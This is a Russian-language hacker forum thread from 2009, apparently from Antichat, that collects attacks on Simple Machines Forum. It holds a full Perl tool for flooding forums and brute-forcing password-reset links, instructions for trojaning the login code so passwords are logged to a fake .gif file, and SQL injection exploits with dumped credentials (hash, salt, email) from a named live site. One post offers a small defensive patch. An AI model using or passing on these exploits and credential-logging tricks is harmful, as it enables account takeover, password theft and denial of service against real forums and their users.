
23.01.2009, 14:30
|
|
Познающий
Регистрация: 10.08.2008
Сообщений: 78
С нами:
9343533
Репутация:
46
|
|
покапавшись на днях в интернете наткнулся на такой exploit для SMF 1.1.7 тут www.securitylab.ru
Код:
#!/usr/bin/perl
use LWP::UserAgent;
use Getopt::Std;
use LWP::Simple;
use HTTP::Request;
#Author: Xianur0
#Uxmal666[at]gmail.com
# Cracks links Password Recovery
# Find Temporary Files executed by mods
# DB function Flood by Error Log
# File Path Disclosure
# List installed Mods (Useful To Find Mods Vulnerable)
# etc. ..
print "\n\n\x09\x09\x09\x09\x09SMF Destroyer 0.1 By Xianur0 [Priv8]\n\n";
my $url = $ARGV[1] || die ("Use: smf.pl [option] [Full URL]
[Proxy:Puerto]\nOptions:\n-f Flood \n-p Search Directory Setup \n-l
Installed Mods List \n-b Find Temporary\n-c Cracks links Password
Recovery (Recommended Use Proxy)");
version();
my $proxy = $ARGV[2] || "";
if($ARGV[0] ne "-c" && $proxy ne "") {
$ua->proxy(["http"], "http://".$proxy);
}
getopts('fplbc', \%opt);
crackeador() if $opt{c};
flood() if $opt{f};
path() if $opt{p};
list() if $opt{l};
temp() if $opt{b};
sub headers {
$req->header('Accept' => 'text/html');
$req->header('Accept-Language' => 'es-es,es;q=0.8,en-us;q=0.5,en;q=0.3');
}
sub version {
$ua = LWP::UserAgent->new;
$ua->agent('Mozilla/5.0 (X11; U; Linux i686; es-ES; rv:1.8.1.12)
Gecko/20080201 Firefox/2.0.0.12');
$req = HTTP::Request->new(GET => $url);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
if ($html =~ /title="Simple Machines Forum" target="_blank">Powered by
SMF (.*?)<\/a>/){
$version = $1;
print "\n[X] SMF Version: $version\n";
if($version < "1.1.7") {
print "\n[X] Outdated Version $version!!!!!!!!!!!\n\n[X]
http://milw0rm.com/search.php?dong=smf".$version."\n\n";
}
}}}
sub path {
$req = HTTP::Request->new(GET => $url.'/SSI.php?ssi_layers');
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
if ($html =~ /Undefined variable: ssi_layers in <b>(.*?)SSI.php/){
print "[X] Directory: $1\n";
} else { print "[!] Getting error Directory!\n";}
}
}
sub flood {
print "[X] Starting Flood! (Press Ctrl + C To Finish)\n";
$texto = "Flood!!!!!" x 15;
$req = HTTP::Request->new(GET =>
$url.'/index.php?action=help;page['.$texto.']=loginout');
&headers;
for($i = 1; $i<10000; $i++) {
$res = $ua->request($req);
if ($res->is_success) {
print "[-] Sent: ".$i."\n";
} else {
print "[!] HTTP Error Query: " . $res->status_line . "\n";
}
}
}
sub temp {
@temps=('index.php~','Settings.php~','Settings_bak.php~');
foreach $temp (@temps) {
$req = HTTP::Request->new(GET => $url."/".$temp);
&headers;
$res = $ua->request($req);
if ($res->is_success) {
print "[X] Temporary File Found: ".$url."/".$temp."\n";
} else {print "[!] Not Found: ".$url."/".$temp."\n";}
}
}
sub list {
$req = HTTP::Request->new(GET => $url."/Packages/installed.list");
&headers;
$res = $ua->request($req);
if ($res->is_success) {
my $html = $res->content;
my @htmls = split("\n", $html);
foreach $mod (@htmls) {
my @mod = split('\|\^\|', $mod);
print "[X]Package:\nDescription: $mod[0]\nFile:
$url/Packages/$mod[1]\nName: $mod[2]\nVersion: $mod[3]\n\n";
}
}
}
sub crackeador() {
$url = $ARGV[0];
$nick = $ARGV[1];
$id = $ARGV[2] || die("Use: smf.pl -c [URL SMF] [Nick Admin] [ID
Admin] [Proxy:Puerto]\nExample: smf.pl -p
http://www.simplemachines.org/community/ dschwab9 179
www.carlosslim.com:3128\n");
my $reminder = $url."?action=reminder";
my $smf = $reminder.";sa=setpassword;u=".$id.";code=";
my $proxy = $ARGV[3];
if($proxy ne "") {
$ua->proxy(["http"], "http://".$proxy);
}
sub mail() {
my $content = HTTP::Request->new(GET => $reminder);
$contenedor = $ua->request($content)->as_string;
if ($contenedor =~ /Set-Cookie: (.*?)
/){
print "\n[+] SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
if ($contenedor =~ /<input type="hidden" name="sc" value="(.*?)"/){
print "\n[+] sc Detected: $1\n";
$sc = $1;
} else { die "[!] SC could not be found!\n";}
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
$req->content_type('application/x-www-form-urlencoded');
$req->content('user='.$nick.'&sc='.$sc.'&=enviar');
$req->header('Cookie' => $session);
my $res = $ua->request($req)->as_string;
if(!$res) {exit;}
print "[x]Sent!\n";
}
sub generador() {
my $password = "";
my @chars = split(" ",
"0 1 2 3 4 5 6 7 8 9 a b c d e
f g h i j k l m n o p q r s t
u v w x y z");
for (my $i=0; $i < 10 ;$i++) {
$_rand = int(rand 35);
$password .= $chars[$_rand];
}
return $password;
}
sub brute() {
while($bucle ne "finito") {
$code = generador();
my $fuente = $reminder.";sa=setpassword;u=".$id.";code=".$code;
my $content = HTTP::Request->new(GET => $reminder);
my $content = $ua->request($content)->as_string;
if ($content =~ /<input type="hidden" name="sc" value="(.*?)"/){
$sc = $1;
} else { die "[!] SC could not be found!\n";}
if ($content =~ /Set-Cookie: (.*?)
/){
print "\n[+] New SESSION Detected: $1\n";
$session = $1;
} else { die "[!] SESSION could not be found!\n";}
print "[+] Testing Code: ".$code."\n";
my $req = HTTP::Request->new(POST => $reminder.';sa=mail');
$req->content_type('application/x-www-form-urlencoded');
$req->content('passwrd1=xianur0washere&passwrd2=xianur0washere&code='.$code.'&u='.$id.'&sc='.$sc);
$req->header('Cookie' => $session);
$res = $ua->request($req);
if ($res->is_success) {
if($res->content =~ '<input type="text" name="user" size="20" value="') {
print "[-] Password Changed!\n[x] New password: xianur0washere\nUsername: $1\n";
exit;
}
} else { die "[!] HTTP response incorrect!\n";}}}
print "\n[-] Sending Mail...\n\n";
mail();
print "\n[-] Attacking code link recovery...\n";
brute();
}
Последний раз редактировалось AnOcToJI; 24.01.2009 в 16:59..
|
|
|

16.04.2009, 00:59
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами:
9010027
Репутация:
308
|
|
http://forum.antichat.ru/showpost.php?p=1047861&postcount=31
Пришлось иметь дело с данным скриптом, действительно корявый, возможные решения проблемы:
Код:
$topic = (int)$_GET['t'];
$board = (int)$_GET['b'];
$user = (int)$_GET['u'];
$tpage = (int)$_GET['p'];
Целые пройти, чтобы избежать проверки данных
Код:
$other = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['o']);
$action = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['a']);
$param = preg_replace('|[^a-z0-9_=,;/\-.]|i', '', $_GET['param']);
Фильтр только для допустимых регулярок для SMF
А тут делаем проверку на соответствие тем:
Код:
function seo_verifica_permisos($id, $tipo){
global $user_info, $db_prefix;
if(!$id = (int)$id){
return false;
}
if($user_info['is_admin'] == '1'){
return true; //Если админ права по умолчанию
}
if($tipo == 'board'){
if($request = @db_query("
SELECT memberGroups
FROM {$db_prefix}boards
WHERE ID_BOARD = {$id}
LIMIT 1", __FILE__, __LINE__)){
if($row = @mysql_fetch_assoc($request)){
mysql_free_result($request);
}
}
if(!$permisos = @explode(',', $row['memberGroups'])){
if(!$permisos = (int)$row['memberGroups']){
return false;
}
}
foreach($permisos as $valor){
if($valor == $user_info['groups'][0]){
return true;
}
}
return false;
}elseif($tipo == 'topic'){
if($request = @db_query("
SELECT ID_BOARD
FROM {$db_prefix}topics
WHERE ID_TOPIC = {$id} LIMIT 1", __FILE__, __LINE__)){
if($row = @mysql_fetch_assoc($request)){
mysql_free_result($request);
}
}
if(seo_verifica_permisos((int)$row['ID_BOARD'], 'board')){
return true;
}else{
return false;
}
}else{
return false;
}
}
Ну собственно небольшой патч, если "это" так можно назвать(простите за грамматические ошибки и лексически не правильно построенные фразы, час ночи, спать охота).Собственно ссылки:
http://dump.ru/file/2460593
http://slil.ru/27454401
Пароль: underantichat?!
|
|
|

19.04.2009, 00:30
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами:
9010027
Репутация:
308
|
|
Скорее не баги, а так интересные наблюдения, где что хранится у смф:
Ошибка при обработке пакетов:
Ошибки при обработке пакетов сохраняется для того чтобы воможность редактирования, возможность сделать сделал резервную копию каждого файла PHP, которго коснулась изменения, но после смены, в 90% случаев они не удаляются администратором и доустпны всем желающим:
Код:
http://forum.com/index.php~
или
Код:
http://www.forum.com/Settings.php ~
Например: http://foro.infiernohacker.com/index.php ~
Ошибка расширения файлов:
Хранятся тут:
Код:
http://forum.com/Packages/installed.list
Например: опять-таки http://foro.infiernohacker.com/Packages/installed.list
Директория на сервере:
Хранится тут:
Код:
http://forum.com/SSI.php?ssi_layers
Например: http://foro.infiernohacker.com/SSI.php?ssi_layers
Кроме того логи записываются еще и в http://forum.com/error_log
|
|
|

19.05.2009, 16:23
|
|
Постоянный
Регистрация: 12.05.2009
Сообщений: 395
С нами:
8947056
Репутация:
229
|
|
Трояним SMF (сбор открытых паролей)
И так открываем файл LogInOut.php который лежит в Source
Редактируем файл...
Ищем следующий код (он в дефолтном виде файла будет на 386 строке)
PHP код:
if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']);
$Login = $_REQUEST['user'];
После него подставляем такой код
PHP код:
$Login = $_REQUEST['user']; //пишем в переменную login параметр user от посланного POST запроса
$Passwd = $_REQUEST['passwrd']; //пишем в переменную login параметр passwd от посланного POST запроса
$fp = fopen("./wavatar1.gif","a+"); //открываем файл wavatar1, если он не сущ то он создаеться автоматом
fwrite($fp,"$Login:$Passwd\r\n"); //пишем что в переменных login, passwd и переносим на след. строку
fclose($fp); //закрываем открытый файл
Должно получиться так
PHP код:
..........
if (isset($modSettings['integrate_login']) && function_exists($modSettings['integrate_login']))
$modSettings['integrate_login']($user_settings['memberName'], isset($_REQUEST['hash_passwrd']) && strlen($_REQUEST['hash_passwrd']) == 40 ? $_REQUEST['hash_passwrd'] : null, $modSettings['cookieTime']);
$Login = $_REQUEST['user'];
$Passwd = $_REQUEST['passwrd'];
$fp = fopen("./attachments/wavatar1.gif","a+");
fwrite($fp,"$Login:$Passwd\r\n");
fclose($fp);
// Get ready to set the cookie...
$username = $user_settings['memberName'];
$ID_MEMBER = $user_settings['ID_MEMBER'];
..........
Логинимся... Мда звездочки пишуться в файл =\
Теперь идем в папку Themes\default (где default имя темы которая стоит на данный момент)
Редактируем файл Login.template.php
Ищем в нем POST запросы (он в самом внизу находиться) код будет следующим (в случае если ниже код встречаеться в коде то редактируем)
PHP код:
<form action="', $scripturl, '?action=login2" method="post" accept-charset="', $context, '" name="frmLogin" id="frmLogin" style="margin-top: 4ex;"', empty($context) ? ' onsubmit="hashLoginPassword(this, \'' . $context . '\');"' : '', '>
Теперь в этом ПОСТ запросе
Удаляем следующий код
PHP код:
', empty($context) ? ' onsubmit="hashLoginPassword(this, \'' . $context . '\');"' : '', '>
Повторюсь надо сделать это ко всем ПОСТ запросам в файле Login.template.php
Полезная информация:
[Код который мы удалили он шифрует пароль в звездочки]
Логинимся... и в файле который мы прописали появится логин и пароль
Автор: .wolmer
Последний раз редактировалось wolmer; 27.10.2009 в 03:53..
|
|
|

22.05.2009, 22:33
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами:
9010027
Репутация:
308
|
|
Несколько слов о версии 1.9
1. Ошибках в форме опросов.
Смотрим в файле Sources/Pool.php (164-166):
Код:
foreach ($_REQUEST['options'] as $id)
{
$id = (int) $id;
Если в переменную подставить, например, -1, то при показе результатов наш голос не будет засчитыватся.
Бага конечно не серьезная, но все же)
2.Смотрим Sources/Sub-Auth.php, где запрос к базе данных при поиске может достигать глобальных значений, или остановится, когда достигнет указанного предела в php.ini.
Например, заходим в Профиль -> Настройка личных сообщений и нажать на поиск пользователей(эта опция находится в нескольких разделах в профиле) после чего откроется небольшое окно
http://forum.com/index.php?action=findmember; sesc = [hash]
Ошибки скрипта задаются в пхп.ини,
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 86 bytes) in /home/vart001/public_html/foro/Sources/Subs-Auth.php on line 468
3.RRS. С этим у смф траблы- достаточно сделать несколько запросов, чтоб вырубить майскулу было отказано в доступе, так как будет превышен лимит памяти.
Для неверующих:
http://forum.com/index.php?action=.xml;sa=news;board=34;limit=999;t ype=rss
Fatal error: Maximum execution time of 30 seconds exceeded in /home/vart001/public_html/foro/Sources/Load.php(195) : runtime-created function on line 3
5.Раскрытие информации.Не работает должным образом опция "скрытый профиль" (не отобращается, что вы в онлайне).Так как данные узнать не составит большого труда.
|
|
|

14.06.2009, 18:25
|
|
Постоянный
Регистрация: 15.06.2008
Сообщений: 941
С нами:
9423746
Репутация:
2399
|
|
exploit для Blind SQLinj Member Awards 1.02
Код:
SMF ] MemberAwards 1.0.2 exploit
eLwaux(c)uasc && antichat 2009
thx: Grey && mailbrush
usage:
expl.pl http://site.com/smf/index.php ID_MEMBER TABLE_PREF {params}
params:
-v = get version()
-u = get user()
-d = get database()
-an = get User Name (логин)
-ap = get User Password (sha1 хеш)
-as = get User Salt (сальт)
-am = get User Mail (емейл)
UAsc.org.UA/files/SMF-Awart-exploit.zip
в скрипте:
Код:
$SHOW_ALL = 1; - показывать результат брута
$SHOW_COUNT_REQ = 1; - показать количество запросов
..
все ф-ции в таком формате:
&getAdminName(41,122) , &getAdminPass(41,122), &getUser1(97,122), ..etc
первый параметр - начало перебора, второй - конец.
т.е. для AdminName будет перебор от chr(41) до chr(122).
если скрипт не сможет роспознать имя\пароль\хеш\etc значит нужно изменить ети числа на
0..255, т.е. чтоб получилось так:
&getAdminName(0,255) , &getAdminPass(0,255), &getUser1(0,255), ..etc
в боевых условиях  :
Код:
http://scrubs.net.ru/cms/forum/index.php
] Host: scrubs.net.ru
BAD answer = '╬°шсър!' <-- Ошибка
] version() = 5
] user() = us5729a@localhost
] database() = db
] id=1 NAME = zhbanito
] id=1 PASS = 4edd40635ac6fd263084d5ccc6fdc624fef3c932
] id=1 SALT = fe81
] id=1 MAIL = shpioner@mail.ru
|
|
|

14.06.2009, 19:00
|
|
Members of Antichat - Level 5
Регистрация: 09.05.2008
Сообщений: 304
С нами:
9477026
Репутация:
2362
|
|
Member Awards 1.02 Blind SQL-Injection exploit
Vulnerability: mailbrush
Code: oRb
Thnx: Grey, eLWAux
Использует бинарный поиск. В начале скрипта конфиг:
$url - урл до smf
$member_id - кого брутить
$tbl_prefix - префикс таблиц
$error - текст ошибки, если награда не найдена.
Example:
Код:
$ php smf.php
passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86
Requests: 160
Time: 00:00:32
__________________
включи голову
Последний раз редактировалось oRb; 15.06.2009 в 10:37..
|
|
|

15.01.2010, 15:14
|
|
Участник форума
Регистрация: 24.12.2009
Сообщений: 130
С нами:
8621768
Репутация:
-3
|
|
Сообщение от oRb
Member Awards 1.02 Blind SQL-Injection exploit
Vulnerability: mailbrush
Code: oRb
Thnx: Grey, eLWAux
Использует бинарный поиск. В начале скрипта конфиг:
$url - урл до smf
$member_id - кого брутить
$tbl_prefix - префикс таблиц
$error - текст ошибки, если награда не найдена.
Example:
Код:
$ php smf.php
passwd: c22dcc8d6b9378b8fad65ab2a359fbdd60dfcb86
Requests: 160
Time: 00:00:32
после брута выходит так
Код HTML:
passwd: 0000000000000000000000000000000000000000 Requests: 160 Time: 00:00:56
но такого хеша я как понимаю нет в чем проблемма?
и что означает число 160
Последний раз редактировалось _eXorcist_; 15.01.2010 в 15:29..
|
|
|

27.07.2009, 23:45
|
|
Reservists Of Antichat - Level 6
Регистрация: 15.03.2009
Сообщений: 560
С нами:
9030566
Репутация:
2017
|
|
SMF 1.1.10
АВТОР: HAXTA4OK
нужны права админа
Код:
function EditHoliday()
{
global $txt, $context, $db_prefix, $scripturl;
loadTemplate('ManageCalendar');
$context['is_new'] = !isset($_REQUEST['holiday']);
$context['page_title'] = $context['is_new'] ? $txt['holidays_add'] : $txt['holidays_edit'];
$context['sub_template'] = 'edit_holiday';
$context['admin_tabs']['tabs']['holidays']['is_selected'] = true;
// Submitting?
if (isset($_POST['sc']) && (isset($_REQUEST['delete']) || $_REQUEST['title'] != ''))
{
checkSession();
if (isset($_REQUEST['delete']))
db_query("
DELETE FROM {$db_prefix}calendar_holidays
WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
else
{
$date = strftime($_REQUEST['year'] <= 4 ? '0004-%m-%d' : '%Y-%m-%d', mktime(0, 0, 0, $_REQUEST['month'], $_REQUEST['day'], $_REQUEST['year']));
if (isset($_REQUEST['edit']))
db_query("
UPDATE {$db_prefix}calendar_holidays
SET eventDate = '$date', title = '$_REQUEST[title]'
WHERE ID_HOLIDAY = $_REQUEST[holiday]", __FILE__, __LINE__);
else
db_query("
INSERT INTO {$db_prefix}calendar_holidays
(eventDate, title)
VALUES
('$date', SUBSTRING('$_REQUEST[title]', 1, 48))", __FILE__, __LINE__);
}
updateStats('calendar');
redirectexit('action=managecalendar;sa=holidays');
}
// Default states...
if ($context['is_new'])
$context['holiday'] = array(
'id' => 0,
'day' => date('d'),
'month' => date('m'),
'year' => '0000',
'title' => ''
);
// If it's not new load the data.
else
{
$request = db_query("
SELECT ID_HOLIDAY, YEAR(eventDate) AS year, MONTH(eventDate) AS month, DAYOFMONTH(eventDate) AS day, title
FROM {$db_prefix}calendar_holidays
WHERE ID_HOLIDAY = $_REQUEST[holiday]
LIMIT 1", __FILE__, __LINE__);
while ($row = mysql_fetch_assoc($request))
$context['holiday'] = array(
'id' => $row['ID_HOLIDAY'],
'day' => $row['day'],
'month' => $row['month'],
'year' => $row['year'] <= 4 ? 0 : $row['year'],
'title' => $row['title']
);
mysql_free_result($request);
}
// Last day for the drop down?
$context['holiday']['last_day'] = (int) strftime('%d', mktime(0, 0, 0, $context['holiday']['month'] == 12 ? 1 : $context['holiday']['month'] + 1, 0, $context['holiday']['month'] == 12 ? $context['holiday']['year'] + 1 : $context['holiday']['year']));
}
уязвимое место holiday
=) собственно сам пример
http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5
реализация:
http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5'
узнаем кол-во колонок - их 5
из постов GREY'a делаем запрос
http://127.0.0.1/110/index.php?action=managecalendar;sa=editholiday;hol iday=5+and+(%23)%0Asubstring(version(),1,1)=5
у меня 5 ветка
P.S. прошу сина не гнать на меня , мой первый баг найденный в SMF
Последний раз редактировалось HAXTA4OK; 23.08.2009 в 18:58..
|
|
|

09.11.2009, 00:59
|
|
Познающий
Регистрация: 29.03.2009
Сообщений: 87
С нами:
9010027
Репутация:
308
|
|
Бекдор?!
Сегодня наткнулся на пост испанского вроде бы хакера WHK, который нашел бекдор в СМФ!
http://www.simplemachines.org/community/index.php?action=mascot
Он посмотрел исходники Sources/Who.php - 660 строка:
Код:
function Mascot()
{
global $sourcedir;
// Some important quotes.
$O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O = array(
'Power tends to corrupt, and absolute power corrupts absolutely. Great men are almost always bad men. ~Lord Acton',
'My web site is so fresh. The paint is still wet, but stay tuned, because I have lots of personal things, specifically about what is happening day-to-day, that I will keep updating daily. ~David Hasselhoff',
'Buy old masters. They fetch a better price than old mistresses. ~William Maxwell Aitken',
'Why do you have to translate and decode things? Just let the image be. It will have a special kind of reality that it won\'t once it\'s decoded. ~Laurie Anderson',
'I don\'t see the logic of rejecting data just because they seem incredible. ~Fred Hoyle',
'Jealousy is both reasonable and belongs to reasonable men, while envy is base and belongs to the base, for the one makes himself get good things by jealousy, while the other does not allow his neighbour to have them through envy. ~Aristotle',
);
mt_srand(1104307200);$O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=array(floor(pi())*floor(M_E),floor(M_E),ceil(M_PI*exp(1)),ceil(pow(M_LN10,2)),ceil(pow(pi(),floor(M_E))),floor(pow(M_PI,floor(exp(1)))));for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0,$O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo='ywky~{'; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo < 6; $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++){$O0oOo00oOOo0OOo00O000oooOo00oOO0o00OoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo}) - mt_rand(0,12)); $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = chr(ord($O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]) - $O0OoO00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo]); }$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O=array((1+4)*(4/2)+pow(3,3),ceil(exp(1)),(floor(pi()*M_E)+floor(M_PI))*ceil(M_PI_2),eval('$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0=1;for($O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo=0;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo<5;$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo++,$OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0*=2); return $OOoOOooOo0oo000O000OoO0o0O000o0OO0OooO0O0;')+log(M_E),ceil(M_E*M_PI*M_LOG2E*log(10)*(3*2*.2)),ceil(M_E*M_PI*M_LOG2E*log(100)*(3*2*.2))+ceil(pi()),);
$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo = '335644'; foreach($O000oOOOoOo000ooOOO0OO0o0o0o0oO0OOO0o000O AS $O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo => $q) $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo] = $O0oOo00oOOo0OOo00O000oooOo00oOO0o0oOoooOo($q,$OoooOOOo000o0Ooo0o00OOoOoOo0o0ooooO0oO00O[$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo],$OOoOo0oO0o0OOooO0O0000O0000O00O0OOo0OOOOo{$O0Ooo00Ooo0OOOOOoo0oOO000o000o00oo0OOOoOo});
$O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo = $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[5] . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[0](2,6) . '_' . $Oo0O0oooOOO0oOO00O0ooooO0OOO0OOO0O0oooOOO[3]; $O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('ZmV0Y2hfd2ViX2RhdGE=');
require_once($sourcedir . '/Subs-Package.php'); $OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0 = $O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo($O0o0oO0ooOOoOoO0ooO0oOo0O0OOO00OOoo00oo0O($O0O000o0Oo00oOoOo0ooO00oOO00Ooo0O00oO0Ooo('aHR0cDovL3d3dy5zaW1wbGVtYWNoaW5lcy5vcmcvc21mL2xhdGVzdC1sYXVnaC5qcw==')));
if (1/M_PI_2 == M_2_PI) die($OooOoooo0OO00O0o0ooOO0o0OOoOoOoo0O000O0o0);
}
Он деобфусцировал сей кусок кода и получил вот это:
Код:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html xmlns="http://www.w3.org/1999/xhtml"><head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8" />
<title>My name is Earl</title>
</head>
<body>
<h1>Watch out! He's a killer!</h1>
<img src="http://www.simplemachines.org/smf/images/earl.jpg" alt="Big giant teeth!" />
</body>
</html>
Как по мне - очередная пасхалка, но все равно забавно.
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|